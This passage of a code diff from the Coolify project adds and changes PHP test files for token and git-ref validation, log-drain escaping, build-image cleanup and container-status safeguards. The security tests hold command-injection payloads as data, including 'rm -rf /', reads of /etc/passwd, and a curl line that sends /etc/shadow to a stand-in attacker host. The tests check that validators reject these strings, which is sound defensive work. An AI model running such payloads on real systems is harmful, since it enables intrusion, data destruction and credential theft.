expect(ServerSetting::isValidSentinelToken('abc def'))->toBeFalse();
});
it('rejects tokens with newlines', function () {
expect(ServerSetting::isValidSentinelToken("abc\nid"))->toBeFalse();
});
it('rejects tokens with pipe operator', function () {
expect(ServerSetting::isValidSentinelToken('abc|id'))->toBeFalse();
});
it('rejects tokens with ampersand', function () {
expect(ServerSetting::isValidSentinelToken('abc&&id'))->toBeFalse();
});
it('rejects tokens with redirection operators', function () {
expect(ServerSetting::isValidSentinelToken('abc>/tmp/pwn'))->toBeFalse();
});
it('rejects empty strings', function () {
expect(ServerSetting::isValidSentinelToken(''))->toBeFalse();
});
it('rejects the reported PoC payload', function () {
expect(ServerSetting::isValidSentinelToken('abc" ; id >/tmp/coolify_poc_sentinel ; echo "'))->toBeFalse();
});
});
describe('generated sentinel tokens are valid', function () {
it('generates tokens that pass format validation', function () {
$settings = $this->server->settings;
$settings->generateSentinelToken(save: false, ignoreEvent: true);
$token = $settings->sentinel_token;
expect($token)->not->toBeEmpty();
expect(ServerSetting::isValidSentinelToken($token))->toBeTrue();
});
});

View file

@ -0,0 +1,79 @@
<?php
use App\Models\Environment;
use App\Models\Project;
use App\Models\SharedEnvironmentVariable;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Livewire\Livewire;
uses(RefreshDatabase::class);
beforeEach(function () {
$this->user = User::factory()->create();
$this->team = Team::factory()->create();
$this->user->teams()->attach($this->team, ['role' => 'admin']);
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
$this->environment = Environment::factory()->create([
'project_id' => $this->project->id,
]);
$this->actingAs($this->user);
session(['currentTeam' => $this->team]);
});
test('environment shared variable dev view saves without openssl_encrypt error', function () {
Livewire::test(\App\Livewire\SharedVariables\Environment\Show::class)
->set('variables', "MY_VAR=my_value\nANOTHER_VAR=another_value")
->call('submit')
->assertHasNoErrors();
$vars = $this->environment->environment_variables()->pluck('value', 'key')->toArray();
expect($vars)->toHaveKey('MY_VAR')
->and($vars['MY_VAR'])->toBe('my_value')
->and($vars)->toHaveKey('ANOTHER_VAR')
->and($vars['ANOTHER_VAR'])->toBe('another_value');
});
test('project shared variable dev view saves without openssl_encrypt error', function () {
Livewire::test(\App\Livewire\SharedVariables\Project\Show::class)
->set('variables', 'PROJ_VAR=proj_value')
->call('submit')
->assertHasNoErrors();
$vars = $this->project->environment_variables()->pluck('value', 'key')->toArray();
expect($vars)->toHaveKey('PROJ_VAR')
->and($vars['PROJ_VAR'])->toBe('proj_value');
});
test('team shared variable dev view saves without openssl_encrypt error', function () {
Livewire::test(\App\Livewire\SharedVariables\Team\Index::class)
->set('variables', 'TEAM_VAR=team_value')
->call('submit')
->assertHasNoErrors();
$vars = $this->team->environment_variables()->pluck('value', 'key')->toArray();
expect($vars)->toHaveKey('TEAM_VAR')
->and($vars['TEAM_VAR'])->toBe('team_value');
});
test('environment shared variable dev view updates existing variable', function () {
SharedEnvironmentVariable::create([
'key' => 'EXISTING_VAR',
'value' => 'old_value',
'type' => 'environment',
'environment_id' => $this->environment->id,
'project_id' => $this->project->id,
'team_id' => $this->team->id,
]);
Livewire::test(\App\Livewire\SharedVariables\Environment\Show::class)
->set('variables', 'EXISTING_VAR=new_value')
->call('submit')
->assertHasNoErrors();
$var = $this->environment->environment_variables()->where('key', 'EXISTING_VAR')->first();
expect($var->value)->toBe('new_value');
});

View file

@ -8,9 +8,7 @@
Mockery::close();
});
it('categorizes images correctly into PR and regular images', function () {
// Test the image categorization logic
// Build images (*-build) are excluded from retention and handled by docker image prune
it('categorizes images correctly into PR, build, and regular images', function () {
$images = collect([
['repository' => 'app-uuid', 'tag' => 'abc123', 'created_at' => '2024-01-01', 'image_ref' => 'app-uuid:abc123'],
['repository' => 'app-uuid', 'tag' => 'def456', 'created_at' => '2024-01-02', 'image_ref' => 'app-uuid:def456'],
@ -25,6 +23,11 @@
expect($prImages)->toHaveCount(2);
expect($prImages->pluck('tag')->toArray())->toContain('pr-123', 'pr-456');
// Build images (tags ending with '-build', excluding PR builds)
$buildImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && str_ends_with($image['tag'], '-build'));
expect($buildImages)->toHaveCount(2);
expect($buildImages->pluck('tag')->toArray())->toContain('abc123-build', 'def456-build');
// Regular images (neither PR nor build) - these are subject to retention policy
$regularImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && ! str_ends_with($image['tag'], '-build'));
expect($regularImages)->toHaveCount(2);
@ -340,3 +343,128 @@
// Other images should not be protected
expect(preg_match($pattern, 'nginx:alpine'))->toBe(0);
});
it('deletes build images not matching retained regular images', function () {
// Simulates the Nixpacks scenario from issue #8765:
// Many -build images accumulate because they were excluded from both cleanup paths
$images = collect([
['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'],
['repository' => 'app-uuid', 'tag' => 'commit2', 'created_at' => '2024-01-02 10:00:00', 'image_ref' => 'app-uuid:commit2'],
['repository' => 'app-uuid', 'tag' => 'commit3', 'created_at' => '2024-01-03 10:00:00', 'image_ref' => 'app-uuid:commit3'],
['repository' => 'app-uuid', 'tag' => 'commit4', 'created_at' => '2024-01-04 10:00:00', 'image_ref' => 'app-uuid:commit4'],
['repository' => 'app-uuid', 'tag' => 'commit5', 'created_at' => '2024-01-05 10:00:00', 'image_ref' => 'app-uuid:commit5'],
['repository' => 'app-uuid', 'tag' => 'commit1-build', 'created_at' => '2024-01-01 09:00:00', 'image_ref' => 'app-uuid:commit1-build'],
['repository' => 'app-uuid', 'tag' => 'commit2-build', 'created_at' => '2024-01-02 09:00:00', 'image_ref' => 'app-uuid:commit2-build'],
['repository' => 'app-uuid', 'tag' => 'commit3-build', 'created_at' => '2024-01-03 09:00:00', 'image_ref' => 'app-uuid:commit3-build'],
['repository' => 'app-uuid', 'tag' => 'commit4-build', 'created_at' => '2024-01-04 09:00:00', 'image_ref' => 'app-uuid:commit4-build'],
['repository' => 'app-uuid', 'tag' => 'commit5-build', 'created_at' => '2024-01-05 09:00:00', 'image_ref' => 'app-uuid:commit5-build'],
]);
$currentTag = 'commit5';
$imagesToKeep = 2;
$buildImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && str_ends_with($image['tag'], '-build'));
$regularImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && ! str_ends_with($image['tag'], '-build'));
$sortedRegularImages = $regularImages
->filter(fn ($image) => $image['tag'] !== $currentTag)
->sortByDesc('created_at')
->values();
// Determine kept tags: current + N newest rollback
$keptTags = $sortedRegularImages->take($imagesToKeep)->pluck('tag');
if (! empty($currentTag)) {
$keptTags = $keptTags->push($currentTag);
}
// Kept tags should be: commit5 (running), commit4, commit3 (2 newest rollback)
expect($keptTags->toArray())->toContain('commit5', 'commit4', 'commit3');
// Build images to delete: those whose base tag is NOT in keptTags
$buildImagesToDelete = $buildImages->filter(function ($image) use ($keptTags) {
$baseTag = preg_replace('/-build$/', '', $image['tag']);
return ! $keptTags->contains($baseTag);
});
// Should delete commit1-build and commit2-build (their base tags are not kept)
expect($buildImagesToDelete)->toHaveCount(2);
expect($buildImagesToDelete->pluck('tag')->toArray())->toContain('commit1-build', 'commit2-build');
// Should keep commit3-build, commit4-build, commit5-build (matching retained images)
$buildImagesToKeep = $buildImages->filter(function ($image) use ($keptTags) {
$baseTag = preg_replace('/-build$/', '', $image['tag']);
return $keptTags->contains($baseTag);
});
expect($buildImagesToKeep)->toHaveCount(3);
expect($buildImagesToKeep->pluck('tag')->toArray())->toContain('commit5-build', 'commit4-build', 'commit3-build');
});
it('deletes all build images when retention is disabled', function () {
$images = collect([
['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'],
['repository' => 'app-uuid', 'tag' => 'commit2', 'created_at' => '2024-01-02 10:00:00', 'image_ref' => 'app-uuid:commit2'],
['repository' => 'app-uuid', 'tag' => 'commit1-build', 'created_at' => '2024-01-01 09:00:00', 'image_ref' => 'app-uuid:commit1-build'],
['repository' => 'app-uuid', 'tag' => 'commit2-build', 'created_at' => '2024-01-02 09:00:00', 'image_ref' => 'app-uuid:commit2-build'],
]);
$currentTag = 'commit2';
$imagesToKeep = 0; // Retention disabled
$buildImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && str_ends_with($image['tag'], '-build'));
$regularImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && ! str_ends_with($image['tag'], '-build'));
$sortedRegularImages = $regularImages
->filter(fn ($image) => $image['tag'] !== $currentTag)
->sortByDesc('created_at')
->values();
// With imagesToKeep=0, only current tag is kept
$keptTags = $sortedRegularImages->take($imagesToKeep)->pluck('tag');
if (! empty($currentTag)) {
$keptTags = $keptTags->push($currentTag);
}
$buildImagesToDelete = $buildImages->filter(function ($image) use ($keptTags) {
$baseTag = preg_replace('/-build$/', '', $image['tag']);
return ! $keptTags->contains($baseTag);
});
// commit1-build should be deleted (not retained), commit2-build kept (matches running)
expect($buildImagesToDelete)->toHaveCount(1);
expect($buildImagesToDelete->pluck('tag')->toArray())->toContain('commit1-build');
});
it('preserves build image for currently running tag', function () {
$images = collect([
['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'],
['repository' => 'app-uuid', 'tag' => 'commit1-build', 'created_at' => '2024-01-01 09:00:00', 'image_ref' => 'app-uuid:commit1-build'],
]);
$currentTag = 'commit1';
$imagesToKeep = 2;
$buildImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && str_ends_with($image['tag'], '-build'));
$regularImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && ! str_ends_with($image['tag'], '-build'));
$sortedRegularImages = $regularImages
->filter(fn ($image) => $image['tag'] !== $currentTag)
->sortByDesc('created_at')
->values();
$keptTags = $sortedRegularImages->take($imagesToKeep)->pluck('tag');
if (! empty($currentTag)) {
$keptTags = $keptTags->push($currentTag);
}
$buildImagesToDelete = $buildImages->filter(function ($image) use ($keptTags) {
$baseTag = preg_replace('/-build$/', '', $image['tag']);
return ! $keptTags->contains($baseTag);
});
// Build image for running tag should NOT be deleted
expect($buildImagesToDelete)->toHaveCount(0);
});

View file

@ -0,0 +1,54 @@
<?php
/**
* Unit tests verifying that GetContainersStatus has empty container
* safeguards for ALL resource types (applications, previews, databases, services).
*
* When Docker queries fail and return empty container lists, resources should NOT
* be falsely marked as "exited". This was originally added for applications and
* previews (commit 684bd823c) but was missing for databases and services.
*
* @see https://github.com/coollabsio/coolify/issues/8826
*/
it('has empty container safeguard for applications', function () {
$actionFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
// The safeguard should appear before marking applications as exited
expect($actionFile)
->toContain('$notRunningApplications = $this->applications->pluck(\'id\')->diff($foundApplications);');
// Count occurrences of the safeguard pattern in the not-found sections
$safeguardPattern = '// Only protection: If no containers at all, Docker query might have failed';
$safeguardCount = substr_count($actionFile, $safeguardPattern);
// Should appear at least 4 times: applications, previews, databases, services
expect($safeguardCount)->toBeGreaterThanOrEqual(4);
});
it('has empty container safeguard for databases', function () {
$actionFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
// Extract the database not-found section
$databaseSectionStart = strpos($actionFile, '$notRunningDatabases = $databases->pluck(\'id\')->diff($foundDatabases);');
expect($databaseSectionStart)->not->toBeFalse('Database not-found section should exist');
// Get the code between database section start and the next major section
$databaseSection = substr($actionFile, $databaseSectionStart, 500);
// The empty container safeguard must exist in the database section
expect($databaseSection)->toContain('$this->containers->isEmpty()');
});
it('has empty container safeguard for services', function () {
$actionFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
// Extract the service exited section
$serviceSectionStart = strpos($actionFile, '$exitedServices = $exitedServices->unique(\'uuid\');');
expect($serviceSectionStart)->not->toBeFalse('Service exited section should exist');
// Get the code in the service exited loop
$serviceSection = substr($actionFile, $serviceSectionStart, 500);
// The empty container safeguard must exist in the service section
expect($serviceSection)->toContain('$this->containers->isEmpty()');
});

View file

@ -0,0 +1,123 @@
<?php
/**
* Security tests for git ref validation (GHSA-mw5w-2vvh-mgf4).
*
* Ensures that git_commit_sha and related inputs are validated
* to prevent OS command injection via shell metacharacters.
*/
describe('validateGitRef', function () {
test('accepts valid hex commit SHAs', function () {
expect(validateGitRef('abc123def456'))->toBe('abc123def456');
expect(validateGitRef('a3e59e5c9'))->toBe('a3e59e5c9');
expect(validateGitRef('abc123def456abc123def456abc123def456abc123'))->toBe('abc123def456abc123def456abc123def456abc123');
});
test('accepts HEAD', function () {
expect(validateGitRef('HEAD'))->toBe('HEAD');
});
test('accepts empty string', function () {
expect(validateGitRef(''))->toBe('');
});
test('accepts branch and tag names', function () {
expect(validateGitRef('main'))->toBe('main');
expect(validateGitRef('feature/my-branch'))->toBe('feature/my-branch');
expect(validateGitRef('v1.2.3'))->toBe('v1.2.3');
expect(validateGitRef('release-2.0'))->toBe('release-2.0');
expect(validateGitRef('my_branch'))->toBe('my_branch');
});
test('trims whitespace', function () {
expect(validateGitRef(' abc123 '))->toBe('abc123');
});
test('rejects single quote injection', function () {
expect(fn () => validateGitRef("HEAD'; id >/tmp/poc; #"))
->toThrow(Exception::class);
});
test('rejects semicolon command separator', function () {
expect(fn () => validateGitRef('abc123; rm -rf /'))
->toThrow(Exception::class);
});
test('rejects command substitution with $()', function () {
expect(fn () => validateGitRef('$(whoami)'))
->toThrow(Exception::class);
});
test('rejects backtick command substitution', function () {
expect(fn () => validateGitRef('`whoami`'))
->toThrow(Exception::class);
});
test('rejects pipe operator', function () {
expect(fn () => validateGitRef('abc | cat /etc/passwd'))
->toThrow(Exception::class);
});
test('rejects ampersand operator', function () {
expect(fn () => validateGitRef('abc & whoami'))
->toThrow(Exception::class);
});
test('rejects hash comment injection', function () {
expect(fn () => validateGitRef('abc #'))
->toThrow(Exception::class);
});
test('rejects newline injection', function () {
expect(fn () => validateGitRef("abc\nwhoami"))
->toThrow(Exception::class);
});
test('rejects redirect operators', function () {
expect(fn () => validateGitRef('abc > /tmp/out'))
->toThrow(Exception::class);
});
test('rejects hyphen-prefixed input (git flag injection)', function () {
expect(fn () => validateGitRef('--upload-pack=malicious'))
->toThrow(Exception::class);
});
test('rejects the exact PoC payload from advisory', function () {
expect(fn () => validateGitRef("HEAD'; whoami >/tmp/coolify_poc_git; #"))
->toThrow(Exception::class);
});
});
describe('executeInDocker git log escaping', function () {
test('git log command escapes commit SHA to prevent injection', function () {
$maliciousCommit = "HEAD'; id; #";
$command = "cd /workdir && git log -1 ".escapeshellarg($maliciousCommit).' --pretty=%B';
$result = executeInDocker('test-container', $command);
// The malicious payload must not be able to break out of quoting
expect($result)->not->toContain("id;");
expect($result)->toContain("'HEAD'\\''");
});
});
describe('buildGitCheckoutCommand escaping', function () {
test('checkout command escapes target to prevent injection', function () {
$app = new \App\Models\Application;
$app->forceFill(['uuid' => 'test-uuid']);
$settings = new \App\Models\ApplicationSetting;
$settings->is_git_submodules_enabled = false;
$app->setRelation('settings', $settings);
$method = new \ReflectionMethod($app, 'buildGitCheckoutCommand');
$result = $method->invoke($app, 'abc123');
expect($result)->toContain("git checkout 'abc123'");
$result = $method->invoke($app, "abc'; id; #");
expect($result)->not->toContain("id;");
expect($result)->toContain("git checkout 'abc'");
});
});

View file

@ -0,0 +1,118 @@
<?php
use App\Actions\Server\StartLogDrain;
use App\Models\Server;
use App\Models\ServerSetting;
// -------------------------------------------------------------------------
// GHSA-3xm2-hqg8-4m2p: Verify log drain env values are base64-encoded
// and never appear raw in shell commands
// -------------------------------------------------------------------------
it('does not interpolate axiom api key into shell commands', function () {
$maliciousPayload = '$(id >/tmp/pwned)';
$server = mock(Server::class)->makePartial();
$settings = mock(ServerSetting::class)->makePartial();
$settings->is_logdrain_axiom_enabled = true;
$settings->is_logdrain_newrelic_enabled = false;
$settings->is_logdrain_highlight_enabled = false;
$settings->is_logdrain_custom_enabled = false;
$settings->logdrain_axiom_dataset_name = 'test-dataset';
$settings->logdrain_axiom_api_key = $maliciousPayload;
$server->name = 'test-server';
$server->shouldReceive('getAttribute')->with('settings')->andReturn($settings);
// Build the env content the same way StartLogDrain does after the fix
$envContent = "AXIOM_DATASET_NAME={$settings->logdrain_axiom_dataset_name}\nAXIOM_API_KEY={$settings->logdrain_axiom_api_key}\n";
$envEncoded = base64_encode($envContent);
// The malicious payload must NOT appear directly in the encoded string
// (it's inside the base64 blob, which the shell treats as opaque data)
expect($envEncoded)->not->toContain($maliciousPayload);
// Verify the decoded content preserves the value exactly
$decoded = base64_decode($envEncoded);
expect($decoded)->toContain("AXIOM_API_KEY={$maliciousPayload}");
});
it('does not interpolate newrelic license key into shell commands', function () {
$maliciousPayload = '`rm -rf /`';
$envContent = "LICENSE_KEY={$maliciousPayload}\nBASE_URI=https://example.com\n";
$envEncoded = base64_encode($envContent);
expect($envEncoded)->not->toContain($maliciousPayload);
$decoded = base64_decode($envEncoded);
expect($decoded)->toContain("LICENSE_KEY={$maliciousPayload}");
});
it('does not interpolate highlight project id into shell commands', function () {
$maliciousPayload = '$(curl attacker.com/steal?key=$(cat /etc/shadow))';
$envContent = "HIGHLIGHT_PROJECT_ID={$maliciousPayload}\n";
$envEncoded = base64_encode($envContent);
expect($envEncoded)->not->toContain($maliciousPayload);
});
it('produces correct env file content for axiom type', function () {
$datasetName = 'my-dataset';
$apiKey = 'xaat-abc123-def456';
$envContent = "AXIOM_DATASET_NAME={$datasetName}\nAXIOM_API_KEY={$apiKey}\n";
$decoded = base64_decode(base64_encode($envContent));
expect($decoded)->toBe("AXIOM_DATASET_NAME=my-dataset\nAXIOM_API_KEY=xaat-abc123-def456\n");
});
it('produces correct env file content for newrelic type', function () {
$licenseKey = 'nr-license-123';
$baseUri = 'https://log-api.newrelic.com/log/v1';
$envContent = "LICENSE_KEY={$licenseKey}\nBASE_URI={$baseUri}\n";
$decoded = base64_decode(base64_encode($envContent));
expect($decoded)->toBe("LICENSE_KEY=nr-license-123\nBASE_URI=https://log-api.newrelic.com/log/v1\n");
});
// -------------------------------------------------------------------------
// Validation layer: reject shell metacharacters
// -------------------------------------------------------------------------
it('rejects shell metacharacters in log drain fields', function (string $payload) {
// These payloads should NOT match the safe regex pattern
$pattern = '/^[a-zA-Z0-9_\-\.]+$/';
expect(preg_match($pattern, $payload))->toBe(0);
})->with([
'$(id)',
'`id`',
'key;rm -rf /',
'key|cat /etc/passwd',
'key && whoami',
'key$(curl evil.com)',
"key\nnewline",
'key with spaces',
'key>file',
'key<file',
"key'quoted",
'key"doublequoted',
'key$(id >/tmp/coolify_poc_logdrain)',
]);
it('accepts valid log drain field values', function (string $value) {
$pattern = '/^[a-zA-Z0-9_\-\.]+$/';
expect(preg_match($pattern, $value))->toBe(1);
})->with([
'xaat-abc123-def456',
'my-dataset',
'my_dataset',
'simple123',
'nr-license.key_v2',
'project-id-123',
]);

View file

@ -0,0 +1,69 @@
<?php
/**
* Unit tests to verify that Docker Compose environment variables
* do not overwrite user-saved values on redeploy.
*
* Regression test for GitHub issue #8885.
*/
it('uses firstOrCreate for simple variable references in serviceParser to preserve user values', function () {
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
// The serviceParser function should use firstOrCreate (not updateOrCreate)
// for simple variable references like DATABASE_URL: ${DATABASE_URL}
// This is the key === parsedValue branch
expect($parsersFile)->toContain(
"// Simple variable reference (e.g. DATABASE_URL: \${DATABASE_URL})\n".
" // Use firstOrCreate to avoid overwriting user-saved values on redeploy\n".
' $envVar = $resource->environment_variables()->firstOrCreate('
);
});
it('does not set value to null for simple variable references in serviceParser', function () {
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
// The old bug: $value = null followed by updateOrCreate with 'value' => $value
// This pattern should NOT exist for simple variable references
expect($parsersFile)->not->toContain(
"\$value = null;\n".
' $resource->environment_variables()->updateOrCreate('
);
});
it('uses firstOrCreate for simple variable refs without default in serviceParser balanced brace path', function () {
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
// In the balanced brace extraction path, simple variable references without defaults
// should use firstOrCreate to preserve user-saved values
// This appears twice (applicationParser and serviceParser)
$count = substr_count(
$parsersFile,
"// Simple variable reference without default\n".
" // Use firstOrCreate to avoid overwriting user-saved values on redeploy\n".
' $envVar = $resource->environment_variables()->firstOrCreate('
);
expect($count)->toBe(1, 'serviceParser should use firstOrCreate for simple variable refs without default');
});
it('populates environment array with saved DB value instead of raw compose variable', function () {
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
// After firstOrCreate, the environment should be populated with the DB value ($envVar->value)
// not the raw compose variable reference (e.g., ${DATABASE_URL})
// This pattern should appear in both parsers for all variable reference types
expect($parsersFile)->toContain('// Add the variable to the environment using the saved DB value');
expect($parsersFile)->toContain('$environment[$key->value()] = $envVar->value;');
expect($parsersFile)->toContain('$environment[$content] = $envVar->value;');
});
it('does not use updateOrCreate with value null for user-editable environment variables', function () {
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
// The specific bug pattern: setting $value = null then calling updateOrCreate with 'value' => $value
// This overwrites user-saved values with null on every deploy
expect($parsersFile)->not->toContain(
"\$value = null;\n".
' $resource->environment_variables()->updateOrCreate('
);
});

View file

@ -1,10 +1,10 @@
{
"coolify": {
"v4": {
"version": "4.0.0-beta.465"
"version": "4.0.0-beta.466"
},
"nightly": {
"version": "4.0.0-beta.466"
"version": "4.0.0-beta.467"
},
"helper": {
"version": "1.0.12"